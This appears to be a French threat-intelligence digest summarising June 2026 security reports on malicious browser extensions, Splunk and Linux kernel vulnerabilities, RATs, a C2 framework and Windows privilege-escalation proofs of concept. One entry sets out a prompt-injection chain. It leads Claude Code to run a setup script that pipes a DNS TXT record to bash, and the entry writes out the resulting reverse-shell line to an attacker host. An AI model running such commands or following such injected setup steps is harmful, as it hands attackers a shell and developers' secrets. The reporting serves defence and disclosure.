IOC

🔍 Contexte Le 16 juin 2026, l’équipe Microsoft Edge Extensions Security a publié une analyse technique détaillée de la campagne StegoAd, un portmanteau de steganography et adware. Active depuis au moins 2021, cette campagne a atteint sa phase la plus sophistiquée entre mars 2024 et avril 2026, impactant environ 2,6 millions d’utilisateurs via 119 extensions malveillantes publiées sur le Microsoft Edge Add-ons Store. 🎯 Nature de la menace StegoAd est une plateforme de monétisation et de vol de credentials opérée par un acteur non nommé utilisant plus de 90 comptes développeurs jetables. Les extensions se font passer pour des outils légitimes (bloqueurs de publicités, VPN, téléchargeurs vidéo, traducteurs) tout en embarquant des charges utiles malveillantes activées après un délai de dormance de 3 à 5,5 jours. ...

🗓️ Contexte Publié le 29 juin 2026 par The Register, cet article rapporte la divulgation publique non coordonnée d’exploits zero-day par un chercheur anonyme se faisant appeler bikini, via un dépôt GitHub nommé exploitarium (depuis supprimé). 🎯 Nature de l’incident Le chercheur a publié du code d’exploitation fonctionnel pour des vulnérabilités zero-day affectant 15 produits logiciels et projets open source, sans notification préalable d’aucun éditeur ni mainteneur. Deux de ces vulnérabilités font l’objet d’une exploitation active au moment de la publication. ...

🔍 Contexte Publié le 29 juin 2026 sur GitHub par le chercheur Fady Oueslati (ReactiveZero Security Research), ce dépôt documente la vulnérabilité CVE-2026-20251 affectant Splunk Secure Gateway (SSG), avec un score CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). Un patch est disponible. 🐛 Vulnérabilité La faille repose sur une désérialisation non sécurisée via jsonpickle dans le composant SSG. Le flux d’exploitation est le suivant : Un attaquant authentifié (faibles privilèges) écrit un document malveillant dans la collection KV Store mobile_alerts via l’API REST Splunk. SSG lit ce document dans alerts_request_processor.py et le soumet au validateur check_alert_data_valid_json(). Le validateur court-circuite dès qu’il rencontre la clé py/object avec une valeur commençant par spacebridgeapp, retournant True sans inspecter les clés suivantes. Le document est ensuite passé à jsonpickle.decode(..., safe=True), qui exécute le gadget py/reduce présent dans la clé notification — le flag safe=True ne bloque pas ce chemin de code. 🎯 Impact Exécution de code arbitraire en tant que compte de service Splunk Nécessite uniquement un login Splunk valide à faibles privilèges Confidentialité, intégrité et disponibilité toutes compromises 📦 Versions affectées Branche Corrigé dans SSG 3.9.x 3.9.20 SSG 3.10.x 3.10.6 SSG 3.8.x 3.8.67 Splunk Enterprise 10.0.7 / 10.2.4 / 10.4.0+ Instance testée : SSG 3.9.19 sur Splunk Enterprise 10.0.6 (macOS x86_64). ...

🔍 Contexte Source : The Hacker News, publiée le 26 juin 2026. L’article rapporte la découverte et la divulgation publique d’une vulnérabilité critique dans le noyau Linux, identifiée sous le nom CVE-2026-46331 et surnommée « pedit COW ». 🐛 Vulnérabilité Type : Écriture hors limites (out-of-bounds write) Composant affecté : Sous-système de contrôle du trafic réseau du noyau Linux, spécifiquement le module d’action d’édition de paquets (act_pedit) Mécanisme : La faille corrompt la mémoire partagée du cache de pages (shared page-cache memory) Impact : Élévation de privilèges locale — un utilisateur non privilégié peut obtenir les droits root sur les systèmes affectés ⚡ Exploitation Un exploit public fonctionnel a été publié dans la journée suivant l’attribution du CVE, soit le 16 juin 2026 La rapidité de publication de l’exploit augmente significativement le risque d’exploitation active 🏢 Évaluation des éditeurs Red Hat a attribué une sévérité à cette vulnérabilité (le niveau exact n’est pas précisé dans l’extrait disponible) 📌 Type d’article Article de presse spécialisée signalant une vulnérabilité noyau Linux avec exploit public disponible, destiné à informer les équipes de sécurité et les administrateurs systèmes Linux. ...

🔍 Contexte Publié le 25 juin 2026 par les chercheurs Eddy Tsalolikhin et Or Peles de JFrog Security Research, cet article présente une analyse technique approfondie de DirtyClone, une nouvelle variante de la famille de vulnérabilités DirtyFrag affectant le noyau Linux. La vulnérabilité est référencée CVE-2026-43503 (CVSS 8.8, sévérité haute). 🧬 Famille de vulnérabilités DirtyFrag DirtyFrag est une famille de vulnérabilités de corruption mémoire dans la pile réseau du noyau Linux, exploitant l’intersection entre : ...

🔍 Contexte Publié le 19 juin 2026 par SpyCloud Labs, cet article présente une analyse technique approfondie de l’infrastructure opérationnelle du groupe à l’origine du dataset « FortiBleed », initialement découvert par le chercheur Volodymyr « Bob » Diachenko. SpyCloud a obtenu une copie des données et les a analysées contre son schéma de brèches. 🎯 Nature de la campagne La campagne, active depuis le 19 mai 2026, est opérée par un courtier d’accès initial (IAB) russophone utilisant des techniques de mass-scanning et brute-force (spray-and-pray) contre des équipements exposés sur Internet : ...

🔍 Contexte Publié le 25 juin 2026 par Andre Hall & Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d’une attaque par injection de prompt indirecte ciblant les outils de développement agentiques, en particulier Claude Code d’Anthropic. ⚙️ Mécanisme de l’attaque L’attaque repose sur trois composants enchaînés, chacun individuellement bénin : Un dépôt GitHub normal : un fichier README ou issue décrit une procédure d’initialisation standard (pip3 install -r requirements.txt puis python3 -m axiom init). Un package Python qui échoue intentionnellement : le module axiom lève une RuntimeError s’il n’est pas initialisé, incitant l’agent à exécuter python3 -m axiom init comme correction de routine. Un script d’initialisation qui résout un enregistrement DNS TXT : scripts/setup.sh exécute dig +short TXT _axiom-config.m100.cloud @1.1.1.1 et passe le résultat à bash -c. L’enregistrement DNS contient un reverse shell encodé en base64 (bash -i >& /dev/tcp/<attacker-host>/4443 0>&1). 💥 Impact Shell interactif s’exécutant avec les droits de l’utilisateur développeur Exfiltration de secrets d’environnement : ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN Possibilité de persistance (clé SSH, cron job, backdoor) Le payload est invisible : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l’agent avant exécution Le payload peut être modifié à tout moment en éditant l’enregistrement DNS, sans aucun commit 🎯 Vecteur de diffusion Un simple lien vers le dépôt partagé dans une offre d’emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code. ...

🔍 Contexte Publié le 29 juin 2026 sur GitHub par l’utilisateur 28Zaaky, le dépôt khaos-c2 présente KHAØS, un framework de command-and-control (C2) post-exploitation open-source sous licence MIT. Le projet compte 109 étoiles et 19 forks au moment de la publication. Le code est principalement écrit en C (91,6%), avec des composants JavaScript, Python et PowerShell. 🎯 Description du framework KHAØS est conçu pour contourner les solutions EDR en s’appuyant sur plusieurs mécanismes d’évasion : ...

🔍 Contexte Publié le 25 juin 2026 par Group-IB (blog officiel), cet article présente une analyse technique approfondie du Millenium RAT version 4.*, un cheval de Troie d’accès à distance (RAT) initialement documenté par CYFIRMA en novembre 2023 (version 2.4). L’analyse couvre l’évolution architecturale du malware, son modèle de distribution, les campagnes actives et la victimologie mondiale. 🏗️ Évolution architecturale majeure La version 4.* marque un changement architectural critique : le malware abandonne le framework .NET au profit d’une application native C++, supprimant toute dépendance au runtime .NET. La communication C2 repose exclusivement sur l’API Telegram Bot via libcurl, sans infrastructure serveur dédiée. La configuration est chargée depuis une ressource PE embarquée (RCDATA), encodée en Base64 et chiffrée via un algorithme XOR personnalisé avec mot de passe intégré dans le PE. ...

🔍 Contexte Publié le 17 juin 2026 par Serhii Melnyk (LevelBlue SpiderLabs), cet article présente une analyse technique approfondie de deux preuves de concept (PoC) publiées sous les alias Nightmare-Eclipse / MSNightmare, peu après le Patch Tuesday de juin 2026 de Microsoft. 🚀 RoguePlanet : Élévation de privilèges locale via Microsoft Defender RoguePlanet est une technique d’élévation de privilèges locale (LPE) permettant à un utilisateur standard d’obtenir une exécution en contexte SYSTEM sans exploitation noyau ni corruption mémoire. Elle repose sur une chaîne en 7 étapes orchestrant des composants Windows légitimes : ...